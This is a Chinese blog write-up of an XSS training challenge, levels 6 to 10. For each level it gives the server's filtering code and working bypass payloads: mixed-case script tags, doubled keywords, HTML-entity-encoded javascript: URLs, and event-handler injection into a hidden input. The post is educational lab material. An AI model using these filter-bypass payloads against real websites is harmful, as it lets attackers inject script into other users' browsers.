XSS挑战赛(2)
进入第六关
简单判断过滤情况
1 | <>script"'/ |
查看源代码
可以看到第二个红框部分跟之前类似,闭合双引号尝试进行弹窗
1 | ">< script >alert(1)</ script > |
关键字被下划线分割了,尝试使用前一关的payload
1 | ">< a href="javascript:alert(1)">hi</ a > |
前一关的payload已经行不通了,猜测应该是后端过滤关键字变多。
尝试使用大小写进行突破
1 | ">< scRIpt >alert(1)</ scRIpt > |
成功通过
进入第七关
简单检测
1 | <>script"'/ |
源代码value 中的script被替换成为了空,看到这种结果第一时间想到双写绕过
1 | ">< scscriptript >alert(1)</ scscriptript > |
成功绕过
第八关
简单进行检测
1 | <>script"'/ |
结果为:
因为script被分割,所以也不能使用payload
1 | javascript:alert(1) |
同时尝试大小写绕过也无果
但是可以看出来,第一个红框中尖括号被过滤了,第二个红框中尖括号没有被过滤,可以猜测只有第一个输出点被XSS过滤函数过滤了,所以我们的突破点在第二个红框中。
关于该处的利用方式,在这篇博文中与相关的介绍:
https://0verwatch.top/xss-encodeorder.html
使用XSS编码来进行绕过
我们可以根据浏览器解析编码的顺序来触发XSS,因为后端是对敏感字符进行整体替换,所以进行编码后就可绕过
1 2 3 4 5 6 7 | $str = strtolower ( $_GET [ "keyword" ]); $str2 = str_replace ( "script" , "scr_ipt" , $str ); $str3 = str_replace ( "on" , "o_n" , $str2 ); $str4 = str_replace ( "src" , "sr_c" , $str3 ); $str5 = str_replace ( "data" , "da_ta" , $str4 ); $str6 = str_replace ( "href" , "hr_ef" , $str5 ); $str7 = str_replace ( '"' , '"' , $str6 ); |
根据引用的那篇博文,我们可知浏览器如果要把HTML编码解析并且渲染前提必须要这种编码一定要在标签内某个属性里面才行。
编码网站:https://www.qqxiuzi.cn/bianma/zifushiti.php
所以最后的payload可为:(答案不唯一)
1 | javascript:alert(1) |
添加后点击友情链接即可XSS,其源码为:
1 | < center >< BR >< a href="javascript:alert(1)">友情链接</ a ></ center >< center >< img src=level8.jpg></ center > |
进入第九关
后面部分关卡比较复杂,从源码分析绕过,贴出部分源码:
1 2 3 4 5 6 7 | $str = strtolower ( $_GET [ "keyword" ]); $str2 = str_replace ( "script" , "scr_ipt" , $str ); $str3 = str_replace ( "on" , "o_n" , $str2 ); $str4 = str_replace ( "src" , "sr_c" , $str3 ); $str5 = str_replace ( "data" , "da_ta" , $str4 ); $str6 = str_replace ( "href" , "hr_ef" , $str5 ); $str7 = str_replace ( '"' , '"' , $str6 ); |
这里是基础的替换,跟上一关相同。
接着是本关特色,对于url合法性的判断:
1 2 3 4 5 6 7 8 | if (false=== strpos ( $str7 , 'http://' )) { echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>' ; } else { echo '<center><BR><a href="' . $str7 . '">友情链接</a></center>' ; } |
这里判断字符串中是否存在http://,存在的话就回到上一关的页面显示代码,所以我们只需要在payload里面找个合适的位置添加http://即可
1 | javascript:alert`http://` |
进入第十关
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | <?php ini_set ( "display_errors" , 0); $str = $_GET [ "keyword" ]; $str11 = $_GET [ "t_sort" ]; $str22 = str_replace ( ">" , "" , $str11 ); $str33 = str_replace ( "<" , "" , $str22 ); echo "<h2 align=center>没有找到和" .htmlspecialchars( $str ). "相关的结果.</h2>" .'<center> <form id=search> <input name= "t_link" value= "'.'" type= "hidden" > <input name= "t_history" value= "'.'" type= "hidden" > <input name= "t_sort" value= "'.$str33.'" type= "hidden" > </form> </center>'; ?> |
可以看到传入了 keyword 和 t_sort参数,对于 keyword 使用htmlspecialchars函数来进行过滤,对 t_sort 参数只是进行了简单的尖括号的替换,所以很明显突破点是在 t_sort 参数处。
仅仅是过滤了尖括号,我们使用事件来进行绕过
1 | ?keyword= "well done!" &t_sort= " onclick=alert`1` " type= "text" |
为了最后能够点击,我们将类型设置为text即可。
参考链接:
__EOF__

本文链接:https://www.cnblogs.com/Cl0ud/p/13474027.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是博主的最大动力!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· Docker 太简单,K8s 太复杂?w7panel 让容器管理更轻松!